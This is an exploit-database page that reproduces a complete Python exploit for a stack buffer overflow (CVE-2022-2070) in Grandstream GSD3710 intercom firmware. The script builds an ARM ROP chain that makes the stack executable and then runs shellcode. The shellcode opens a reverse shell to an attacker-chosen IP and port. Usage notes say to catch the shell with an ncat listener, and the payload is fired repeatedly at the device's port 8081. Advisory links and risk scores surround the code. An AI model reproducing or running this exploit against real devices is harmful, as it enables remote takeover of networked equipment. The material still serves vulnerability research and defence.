Lucene search
K

Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow

🗓️ 25 May 2025 00:00:00Reported by PepeluxType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 410 Views

Grandstream GSD3710 1.0.11.13 vulnerable to stack buffer overflow exploit with specific parameters.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2022-2070
23 Sep 202220:43
circl
CNNVD
Grandstream GSD3710 缓冲区错误漏洞
23 Sep 202200:00
cnnvd
CVE
CVE-2022-2070
23 Sep 202215:06
cve
Cvelist
CVE-2022-2070 Grandstream GSD3710 Stack-based Buffer Overflow
23 Sep 202215:06
cvelist
EUVD
EUVD-2022-34362
23 Sep 202215:06
euvd
NVD
CVE-2022-2070
23 Sep 202216:15
nvd
Packet Storm
📄 Grandstream GSD3710 1.0.11.13 Stack Buffer Overflow
26 May 202500:00
packetstorm
Prion
Design/Logic Flaw
23 Sep 202216:15
prion
Vulnrichment
CVE-2022-2070 Grandstream GSD3710 Stack-based Buffer Overflow
23 Sep 202215:06
vulnrichment
#!/usr/bin/env python3

# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
# Google Dork: [if applicable]
# Date: 2025-05-23
# Exploit Author: Pepelux (user in ExploitDB)
# Vendor Homepage: https://www.grandstream.com/
# Software Link: [download link if available]
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
# Tested on: Linux and MacOS
# CVE: CVE-2022-2070

"""
Author: Jose Luis Verdeguer (@pepeluxx)

Required: Pwntools

Example:

Terminal 1:
$ ncat -lnvp 4444

Terminal 2:
$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
"""

from operator import ge
import sys
import time
from pwn import *

import argparse


def get_args():
    parser = argparse.ArgumentParser(
        formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
            prog, max_help_position=50))

    # Add arguments
    parser.add_argument('-ti', '--target_ip', type=str, required=True,
                        help='device IP address', dest="device_ip")
    parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081,
                        help='device port', dest="device_port")
    parser.add_argument('-ri', '--reverse_ip', type=str, required=True,
                        help='reverse IP address', dest="reverse_ip")
    parser.add_argument('-rp', '--reverse_port', type=int, required=True,
                        help='reverse port', dest="reverse_port")

    # Array for all arguments passed to script
    args = parser.parse_args()

    try:
        TI = args.device_ip
        TP = args.device_port
        RI = args.reverse_ip
        RP = args.reverse_port

        return TI, TP, RI, RP
    except ValueError:
        exit()


def check_badchars(data):
    for i in range(len(data)):
        if data[i] in [0x0, 0x40]:
            log.warn("Badchar %s detected at %#x" % (hex(data[i]), i))
            return True
    return False


def get_shellcode(ip, port):
    ip_bytes = socket.inet_aton(ip)
    port_bytes = struct.pack(">H", port)

    # Linux ARM reverse shell

    # switch to thumb mode
    sc = b"\x01\x30\x8F\xE2"  # add r3, pc, #1
    sc += b"\x13\xFF\x2F\xE1"  # bx r3

    # socket(2, 1, 0)
    sc += b"\x02\x20"  # movs r0, #2
    sc += b"\x01\x21"  # movs r1, #1
    sc += b"\x92\x1A"  # subs r2, r2, r2
    sc += b"\xC8\x27"  # movs r7, #0xc8
    sc += b"\x51\x37"  # adds r7, #0x51
    sc += b"\x01\xDF"  # svc #1
    sc += b"\x04\x1C"  # adds r4, r0, #0

    # connect(r0, &sockaddr, 16)
    sc += b"\x0C\xA1"  # adr r1, #0x30
    sc += b"\x4A\x70"  # strb r2, [r1, #1]
    sc += b"\x10\x22"  # movs r2, #0x10
    sc += b"\x02\x37"  # adds r7, #2
    sc += b"\x01\xDF"  # svc #1

    # dup2(sockfd, 0)
    sc += b"\x3F\x27"  # movs r7, #0x3f
    sc += b"\x20\x1C"  # adds r0, r4, #0
    sc += b"\x49\x1A"  # subs r1, r1, r1
    sc += b"\x01\xDF"  # svc #1

    # dup2(sockfd, 1)
    sc += b"\x20\x1C"  # adds r0, r4, #0
    sc += b"\x01\x21"  # movs r1, #1
    sc += b"\x01\xDF"  # svc #1

    # dup2(sockfd, 2)
    sc += b"\x20\x1C"  # adds r0, r4, #0
    sc += b"\x02\x21"  # movs r1, #2
    sc += b"\x01\xDF"  # svc #1

    # execve("/bin/sh")
    sc += b"\x06\xA0"  # adr r0, #0x18
    sc += b"\x92\x1A"  # subs r2, r2, r2
    sc += b"\x49\x1A"  # subs r1, r1, r1
    sc += b"\x01\x91"  # str r1, [sp, #4]
    sc += b"\x02\x91"  # str r1, [sp, #8]
    sc += b"\x01\x90"  # str r0, [sp, #4]
    sc += b"\x01\xA9"  # add r1, sp, #4
    sc += b"\xC2\x71"  # strb r2, [r0, #7]
    sc += b"\x0B\x27"  # movs r7, #0xb
    sc += b"\x01\xDF"  # svc #1

    sc += b"\x02\xFF"
    sc += port_bytes
    sc += ip_bytes
    sc += b"/bin/shX"

    return sc


def main():
    ti, tp, ri, rp = get_args()

    # ROP Gadgets

    libc_base = 0x76ec1000

    mprotect = libc_base + 0x93510+1
    pop_lr = libc_base + 0x1848C  # pop {r0, r4, r8, ip, lr, pc}
    pop_pc = libc_base + 0xd7515  # pop {pc}
    pop_r0 = libc_base + 0x00064bb0+1  # 0x00064bb0 : pop {r0, pc}

    pop_r5 = libc_base + 0x00003738+1  # 0x00003738 : pop {r5, pc}
    add_r1_sp = libc_base + 0x000b3c4e+1  # 0x000b3c4e : add r1, sp, #0x14 ; blx r5
    # 0x0002f83c (0x0002f83d): mov r0, r1; bx lr
    mov_r0_r1 = libc_base + 0x0002f83d
    # 0x0006a086 (0x0006a087): pop {r1, pc}
    pop_r1 = libc_base + 0x6a087
    ands_r0_r1 = libc_base + 0x1feba+1  # 0x0001feba : ands r0, r1 ; bx lr
    # 0x000a3a42 : movs r4, r0 ; pop {r1, pc}
    mov_r4_r0 = libc_base + 0x000a3a42+1
    # 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr
    movs_r1_r0 = libc_base + 0x0001fdaf

    and_r0_f = libc_base + 0x8717e+1  # 0x0008717e : and r0, r0, #0xf ; bx lr
    movs_r2_r0 = libc_base + 0x0001fc6a+1  # 0x0001fc6a : movs r2, r0 ; bx lr
    mov_r0_r4 = libc_base + 0x0001f9d4+1  # 0x0001f9d4 : movs r0, r4 ; bx lr
    blx_sp = libc_base + 0x46595  # 0x00046594 (0x00046595): blx sp

    shellcode = get_shellcode(ri, rp)

    auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @"
    junk = p32(0x43434343)

    payload = auth_command
    payload += b"A" * 144

    # The goal is that R0 -> SP

    # R5 = pop {pc}
    # because in the the next gadget we have a blx r5
    payload += p32(pop_r5)
    payload += p32(pop_pc) # R5 = pop {pc}

    # R1 = SP ; BLX pop {pc}
    payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5

    # Restore LR register (because it has been updated by the last BLX gadget)
    payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}
    payload += junk*4  # r0, r4, r8, ip
    payload += p32(pop_pc) # LR = pop {pc}

    # R0 = stack address
    payload += p32(mov_r0_r1) # mov r0, r1; bx lr

    # R1 = mask page align
    payload += p32(pop_r1) # pop {r1, pc}
    payload += p32(0xfffe1001)

    # R0 = stack address & 0xfffe1001
    payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr 
    # R4 = R0
    payload += p32(mov_r4_r0)  # movs r0, r4 ; bx lr
    payload += junk  # r1

    # mprotect params
    # r0 = shellcode page aligned address
    # r1 = size(ofshellcode)
    # r2 = protection (0x7 – RWX)

    # R2 = 0x7
    payload += p32(pop_r0)
    payload += p32(0x07070707)
    payload += p32(and_r0_f)  # R0 = 7 (RWX)
    payload += p32(movs_r2_r0)  # R2 (prot: 7 - RWX)

    # R1 = length = 0x10101010 (avoid 0's)
    payload += p32(pop_r0)
    payload += p32(0x01010101)
    payload += p32(movs_r1_r0)  # r1 (length: 0x10101010)

    # R0 = stack address 4k aligned
    payload += p32(mov_r0_r4)

    # mprotect(stack, 0x10101010, 0x7)
    payload += p32(mprotect)
    payload += p32(blx_sp)  # ejecutamos en pila
    payload += shellcode  # shellcode

    if check_badchars(payload[len(auth_command):]):
        sys.exit(0)

    log.info("Device IP: %s:%d" % (ti, tp))
    log.info("Attacker IP: %s:%d" % (ri, rp))
    log.info("Payload len: %d" % len(payload))

    count = 1

    while True:
        try:
            print('Try: %d' % count)
            r = remote(ti, tp)
            r.send(payload)
            log.success("Payload sent!")
            # r.close()
            time.sleep(1)
            count += 1
        except:
            sleep(3)
            pass


if __name__ == '__main__':
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 May 2025 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 3.19.8
EPSS0.09438
SSVC
410